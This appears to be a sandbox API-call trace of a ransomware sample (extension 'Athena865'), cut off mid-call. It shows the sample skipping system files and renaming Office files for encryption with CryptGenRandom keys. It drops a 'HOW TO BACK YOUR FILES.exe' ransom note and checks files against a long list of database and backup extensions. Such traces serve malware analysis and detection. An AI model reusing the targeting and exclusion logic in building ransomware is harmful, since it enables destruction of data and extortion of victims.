lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x169360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLICONS.EXE", cAlternateFileName="")) returned 1 [0089.639] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.639] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.639] lstrcmpiW (lpString1="XLICONS.EXE", lpString2=".") returned 1 [0089.639] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="..") returned 1 [0089.639] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="windows") returned 1 [0089.639] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="bootmgr") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="temp") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="pagefile.sys") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="boot") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="ids.txt") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="ntuser.dat") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="perflogs") returned 1 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="MSBuild") returned 1 [0089.640] lstrlenW (lpString="XLICONS.EXE") returned 11 [0089.640] lstrcpyW (in: lpString1=0x241e89e, lpString2="XLICONS.EXE" | out: lpString1="XLICONS.EXE") returned="XLICONS.EXE" [0089.640] lstrlenW (lpString="XLICONS.EXE") returned 11 [0089.640] lstrlenW (lpString="Athena865") returned 9 [0089.640] lstrcmpiW (lpString1="ICONS.EXE", lpString2="Athena865") returned 1 [0089.640] lstrlenW (lpString=".dll") returned 4 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2=".dll") returned 1 [0089.640] lstrlenW (lpString=".lnk") returned 4 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2=".lnk") returned 1 [0089.640] lstrlenW (lpString=".ini") returned 4 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2=".ini") returned 1 [0089.640] lstrlenW (lpString=".sys") returned 4 [0089.640] lstrcmpiW (lpString1="XLICONS.EXE", lpString2=".sys") returned 1 [0089.640] lstrlenW (lpString="XLICONS.EXE") returned 11 [0089.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XLICONS.EXE.Athena865") returned 64 [0089.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\xlicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLICONS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xlicons.exe.athena865"), dwFlags=0x1) returned 1 [0089.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLICONS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xlicons.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0089.641] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1479520) returned 1 [0089.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.642] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.642] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.642] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.643] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x169660, lpName=0x0) returned 0x17c [0089.646] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x169660) returned 0x2d50000 [0089.693] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.693] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.693] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.694] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0089.706] CloseHandle (hObject=0x17c) returned 1 [0089.706] CloseHandle (hObject=0x154) returned 1 [0089.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.712] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2=".") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="..") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="windows") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="bootmgr") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="temp") returned 1 [0089.712] lstrcmpiW (lpString1="XLSTART", lpString2="pagefile.sys") returned 1 [0089.713] lstrcmpiW (lpString1="XLSTART", lpString2="boot") returned 1 [0089.713] lstrcmpiW (lpString1="XLSTART", lpString2="ids.txt") returned 1 [0089.713] lstrcmpiW (lpString1="XLSTART", lpString2="ntuser.dat") returned 1 [0089.713] lstrcmpiW (lpString1="XLSTART", lpString2="perflogs") returned 1 [0089.713] lstrcmpiW (lpString1="XLSTART", lpString2="MSBuild") returned 1 [0089.713] lstrlenW (lpString="XLSTART") returned 7 [0089.713] lstrcpyW (in: lpString1=0x241e89e, lpString2="XLSTART" | out: lpString1="XLSTART") returned="XLSTART" [0089.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b7e0 [0089.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a490 [0089.713] lstrcatW (in: lpString1="XLSTART", lpString2="\\" | out: lpString1="XLSTART\\") returned="XLSTART\\" [0089.713] lstrcatW (in: lpString1="XLSTART\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="XLSTART\\HOW TO BACK YOUR FILES.exe") returned="XLSTART\\HOW TO BACK YOUR FILES.exe" [0089.713] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart\\how to back your files.exe"), bFailIfExists=1) returned 1 [0089.716] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2=".") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="..") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="windows") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="bootmgr") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="temp") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="pagefile.sys") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="boot") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="ids.txt") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="ntuser.dat") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="perflogs") returned 1 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="MSBuild") returned 1 [0089.716] lstrlenW (lpString="XML2WORD.XSL") returned 12 [0089.716] lstrcpyW (in: lpString1=0x241e89e, lpString2="XML2WORD.XSL" | out: lpString1="XML2WORD.XSL") returned="XML2WORD.XSL" [0089.716] lstrlenW (lpString="XML2WORD.XSL") returned 12 [0089.716] lstrlenW (lpString="Athena865") returned 9 [0089.716] lstrcmpiW (lpString1="2WORD.XSL", lpString2="Athena865") returned -1 [0089.716] lstrlenW (lpString=".dll") returned 4 [0089.716] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2=".dll") returned 1 [0089.717] lstrlenW (lpString=".lnk") returned 4 [0089.717] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2=".lnk") returned 1 [0089.717] lstrlenW (lpString=".ini") returned 4 [0089.717] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2=".ini") returned 1 [0089.717] lstrlenW (lpString=".sys") returned 4 [0089.717] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2=".sys") returned 1 [0089.717] lstrlenW (lpString="XML2WORD.XSL") returned 12 [0089.717] lstrlenW (lpString="bak") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="bak") returned 1 [0089.717] lstrlenW (lpString="ba_") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="ba_") returned 1 [0089.717] lstrlenW (lpString="dbb") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="dbb") returned 1 [0089.717] lstrlenW (lpString="vmdk") returned 4 [0089.717] lstrcmpiW (lpString1=".XSL", lpString2="vmdk") returned -1 [0089.717] lstrlenW (lpString="rar") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="rar") returned 1 [0089.717] lstrlenW (lpString="zip") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="zip") returned -1 [0089.717] lstrlenW (lpString="tgz") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="tgz") returned 1 [0089.717] lstrlenW (lpString="vbox") returned 4 [0089.717] lstrcmpiW (lpString1=".XSL", lpString2="vbox") returned -1 [0089.717] lstrlenW (lpString="vdi") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="vdi") returned 1 [0089.717] lstrlenW (lpString="vhd") returned 3 [0089.717] lstrcmpiW (lpString1="XSL", lpString2="vhd") returned 1 [0089.717] lstrlenW (lpString="vhdx") returned 4 [0089.717] lstrcmpiW (lpString1=".XSL", lpString2="vhdx") returned -1 [0089.717] lstrlenW (lpString="avhd") returned 4 [0089.718] lstrcmpiW (lpString1=".XSL", lpString2="avhd") returned -1 [0089.718] lstrlenW (lpString="db") returned 2 [0089.718] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0089.718] lstrlenW (lpString="db2") returned 3 [0089.718] lstrcmpiW (lpString1="XSL", lpString2="db2") returned 1 [0089.718] lstrlenW (lpString="db3") returned 3 [0089.718] lstrcmpiW (lpString1="XSL", lpString2="db3") returned 1 [0089.718] lstrlenW (lpString="dbf") returned 3 [0089.718] lstrcmpiW (lpString1="XSL", lpString2="dbf") returned 1 [0089.718] lstrlenW (lpString="mdf") returned 3 [0089.718] lstrcmpiW (lpString1="XSL", lpString2="mdf") returned 1 [0089.718] lstrlenW (lpString="mdb") returned 3 [0089.718] lstrcmpiW (lpString1="XSL", lpString2="mdb") returned 1 [0089.718] lstrlenW (lpString="sql") returned 3 [0089.718] lstrcmpiW (lpString1="XSL", lpString2="sql") returned 1 [0089.718] lstrlenW (lpString="sqlite") returned 6 [0089.718] lstrcmpiW (lpString1="RD.XSL", lpString2="sqlite") returned -1 [0089.718] lstrlenW (lpString="sqlite3") returned 7 [0089.718] lstrcmpiW (lpString1="ORD.XSL", lpString2="sqlite3") returned -1 [0089.718] lstrlenW (lpString="sqlitedb") returned 8 [0089.718] lstrcmpiW (lpString1="WORD.XSL", lpString2="sqlitedb") returned 1 [0089.718] lstrlenW (lpString="xml") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="xml") returned 1 [0089.719] lstrlenW (lpString="$er") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="$er") returned 1 [0089.719] lstrlenW (lpString="4dd") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="4dd") returned 1 [0089.719] lstrlenW (lpString="4dl") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="4dl") returned 1 [0089.719] lstrlenW (lpString="^^^") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="^^^") returned 1 [0089.719] lstrlenW (lpString="abs") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="abs") returned 1 [0089.719] lstrlenW (lpString="abx") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="abx") returned 1 [0089.719] lstrlenW (lpString="accdb") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accdb") returned 1 [0089.719] lstrlenW (lpString="accdc") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accdc") returned 1 [0089.719] lstrlenW (lpString="accde") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accde") returned 1 [0089.719] lstrlenW (lpString="accdr") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accdr") returned 1 [0089.719] lstrlenW (lpString="accdt") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accdt") returned 1 [0089.719] lstrlenW (lpString="accdw") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accdw") returned 1 [0089.719] lstrlenW (lpString="accft") returned 5 [0089.719] lstrcmpiW (lpString1="D.XSL", lpString2="accft") returned 1 [0089.719] lstrlenW (lpString="adb") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0089.719] lstrlenW (lpString="adb") returned 3 [0089.719] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0089.720] lstrlenW (lpString="ade") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="ade") returned 1 [0089.720] lstrlenW (lpString="adf") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="adf") returned 1 [0089.720] lstrlenW (lpString="adn") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="adn") returned 1 [0089.720] lstrlenW (lpString="adp") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="adp") returned 1 [0089.720] lstrlenW (lpString="alf") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="alf") returned 1 [0089.720] lstrlenW (lpString="ask") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="ask") returned 1 [0089.720] lstrlenW (lpString="btr") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="btr") returned 1 [0089.720] lstrlenW (lpString="cat") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="cat") returned 1 [0089.720] lstrlenW (lpString="cdb") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="cdb") returned 1 [0089.720] lstrlenW (lpString="ckp") returned 3 [0089.720] lstrcmpiW (lpString1="XSL", lpString2="ckp") returned 1 [0089.721] lstrlenW (lpString="cma") returned 3 [0089.721] lstrcmpiW (lpString1="XSL", lpString2="cma") returned 1 [0089.721] lstrlenW (lpString="cpd") returned 3 [0089.721] lstrcmpiW (lpString1="XSL", lpString2="cpd") returned 1 [0089.721] lstrlenW (lpString="dacpac") returned 6 [0089.721] lstrcmpiW (lpString1="RD.XSL", lpString2="dacpac") returned 1 [0089.721] lstrlenW (lpString="dad") returned 3 [0089.721] lstrcmpiW (lpString1="XSL", lpString2="dad") returned 1 [0089.721] lstrlenW (lpString="dadiagrams") returned 10 [0089.721] lstrcmpiW (lpString1="L2WORD.XSL", lpString2="dadiagrams") returned 1 [0089.721] lstrlenW (lpString="daschema") returned 8 [0089.722] lstrcmpiW (lpString1="WORD.XSL", lpString2="daschema") returned 1 [0089.722] lstrlenW (lpString="db-journal") returned 10 [0089.722] lstrcmpiW (lpString1="L2WORD.XSL", lpString2="db-journal") returned 1 [0089.722] lstrlenW (lpString="db-shm") returned 6 [0089.722] lstrcmpiW (lpString1="RD.XSL", lpString2="db-shm") returned 1 [0089.722] lstrlenW (lpString="db-wal") returned 6 [0089.722] lstrcmpiW (lpString1="RD.XSL", lpString2="db-wal") returned 1 [0089.722] lstrlenW (lpString="dbc") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dbc") returned 1 [0089.722] lstrlenW (lpString="dbs") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dbs") returned 1 [0089.722] lstrlenW (lpString="dbt") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dbt") returned 1 [0089.722] lstrlenW (lpString="dbv") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dbv") returned 1 [0089.722] lstrlenW (lpString="dbx") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dbx") returned 1 [0089.722] lstrlenW (lpString="dcb") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dcb") returned 1 [0089.722] lstrlenW (lpString="dct") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dct") returned 1 [0089.722] lstrlenW (lpString="dcx") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dcx") returned 1 [0089.722] lstrlenW (lpString="ddl") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="ddl") returned 1 [0089.722] lstrlenW (lpString="dlis") returned 4 [0089.722] lstrcmpiW (lpString1=".XSL", lpString2="dlis") returned -1 [0089.722] lstrlenW (lpString="dp1") returned 3 [0089.722] lstrcmpiW (lpString1="XSL", lpString2="dp1") returned 1 [0089.723] lstrlenW (lpString="dqy") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="dqy") returned 1 [0089.723] lstrlenW (lpString="dsk") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="dsk") returned 1 [0089.723] lstrlenW (lpString="dsn") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="dsn") returned 1 [0089.723] lstrlenW (lpString="dtsx") returned 4 [0089.723] lstrcmpiW (lpString1=".XSL", lpString2="dtsx") returned -1 [0089.723] lstrlenW (lpString="dxl") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="dxl") returned 1 [0089.723] lstrlenW (lpString="eco") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="eco") returned 1 [0089.723] lstrlenW (lpString="ecx") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="ecx") returned 1 [0089.723] lstrlenW (lpString="edb") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="edb") returned 1 [0089.723] lstrlenW (lpString="epim") returned 4 [0089.723] lstrcmpiW (lpString1=".XSL", lpString2="epim") returned -1 [0089.723] lstrlenW (lpString="fcd") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="fcd") returned 1 [0089.723] lstrlenW (lpString="fdb") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="fdb") returned 1 [0089.723] lstrlenW (lpString="fic") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="fic") returned 1 [0089.723] lstrlenW (lpString="flexolibrary") returned 12 [0089.723] lstrlenW (lpString="fm5") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="fm5") returned 1 [0089.723] lstrlenW (lpString="fmp") returned 3 [0089.723] lstrcmpiW (lpString1="XSL", lpString2="fmp") returned 1 [0089.723] lstrlenW (lpString="fmp12") returned 5 [0089.724] lstrcmpiW (lpString1="D.XSL", lpString2="fmp12") returned -1 [0089.724] lstrlenW (lpString="fmpsl") returned 5 [0089.724] lstrcmpiW (lpString1="D.XSL", lpString2="fmpsl") returned -1 [0089.724] lstrlenW (lpString="fol") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="fol") returned 1 [0089.724] lstrlenW (lpString="fp3") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="fp3") returned 1 [0089.724] lstrlenW (lpString="fp4") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="fp4") returned 1 [0089.724] lstrlenW (lpString="fp5") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="fp5") returned 1 [0089.724] lstrlenW (lpString="fp7") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="fp7") returned 1 [0089.724] lstrlenW (lpString="fpt") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="fpt") returned 1 [0089.724] lstrlenW (lpString="frm") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="frm") returned 1 [0089.724] lstrlenW (lpString="gdb") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="gdb") returned 1 [0089.724] lstrlenW (lpString="gdb") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="gdb") returned 1 [0089.724] lstrlenW (lpString="grdb") returned 4 [0089.724] lstrcmpiW (lpString1=".XSL", lpString2="grdb") returned -1 [0089.724] lstrlenW (lpString="gwi") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="gwi") returned 1 [0089.724] lstrlenW (lpString="hdb") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="hdb") returned 1 [0089.724] lstrlenW (lpString="his") returned 3 [0089.724] lstrcmpiW (lpString1="XSL", lpString2="his") returned 1 [0089.724] lstrlenW (lpString="ib") returned 2 [0089.725] lstrcmpiW (lpString1="SL", lpString2="ib") returned 1 [0089.725] lstrlenW (lpString="idb") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="idb") returned 1 [0089.725] lstrlenW (lpString="ihx") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="ihx") returned 1 [0089.725] lstrlenW (lpString="itdb") returned 4 [0089.725] lstrcmpiW (lpString1=".XSL", lpString2="itdb") returned -1 [0089.725] lstrlenW (lpString="itw") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="itw") returned 1 [0089.725] lstrlenW (lpString="jet") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="jet") returned 1 [0089.725] lstrlenW (lpString="jtx") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="jtx") returned 1 [0089.725] lstrlenW (lpString="kdb") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="kdb") returned 1 [0089.725] lstrlenW (lpString="kexi") returned 4 [0089.725] lstrcmpiW (lpString1=".XSL", lpString2="kexi") returned -1 [0089.725] lstrlenW (lpString="kexic") returned 5 [0089.725] lstrcmpiW (lpString1="D.XSL", lpString2="kexic") returned -1 [0089.725] lstrlenW (lpString="kexis") returned 5 [0089.725] lstrcmpiW (lpString1="D.XSL", lpString2="kexis") returned -1 [0089.725] lstrlenW (lpString="lgc") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="lgc") returned 1 [0089.725] lstrlenW (lpString="lwx") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="lwx") returned 1 [0089.725] lstrlenW (lpString="maf") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="maf") returned 1 [0089.725] lstrlenW (lpString="maq") returned 3 [0089.725] lstrcmpiW (lpString1="XSL", lpString2="maq") returned 1 [0089.725] lstrlenW (lpString="mar") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mar") returned 1 [0089.726] lstrlenW (lpString="marshal") returned 7 [0089.726] lstrcmpiW (lpString1="ORD.XSL", lpString2="marshal") returned 1 [0089.726] lstrlenW (lpString="mas") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mas") returned 1 [0089.726] lstrlenW (lpString="mav") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mav") returned 1 [0089.726] lstrlenW (lpString="maw") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="maw") returned 1 [0089.726] lstrlenW (lpString="mdbhtml") returned 7 [0089.726] lstrcmpiW (lpString1="ORD.XSL", lpString2="mdbhtml") returned 1 [0089.726] lstrlenW (lpString="mdn") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mdn") returned 1 [0089.726] lstrlenW (lpString="mdt") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mdt") returned 1 [0089.726] lstrlenW (lpString="mfd") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mfd") returned 1 [0089.726] lstrlenW (lpString="mpd") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mpd") returned 1 [0089.726] lstrlenW (lpString="mrg") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mrg") returned 1 [0089.726] lstrlenW (lpString="mud") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mud") returned 1 [0089.726] lstrlenW (lpString="mwb") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="mwb") returned 1 [0089.726] lstrlenW (lpString="myd") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="myd") returned 1 [0089.726] lstrlenW (lpString="ndf") returned 3 [0089.726] lstrcmpiW (lpString1="XSL", lpString2="ndf") returned 1 [0089.727] lstrlenW (lpString="nnt") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="nnt") returned 1 [0089.727] lstrlenW (lpString="nrmlib") returned 6 [0089.727] lstrcmpiW (lpString1="RD.XSL", lpString2="nrmlib") returned 1 [0089.727] lstrlenW (lpString="ns2") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", lpString2="ns2") returned 1 [0089.727] lstrlenW (lpString="ns3") returned 3 [0089.727] lstrcmpiW (lpString1="XSL", 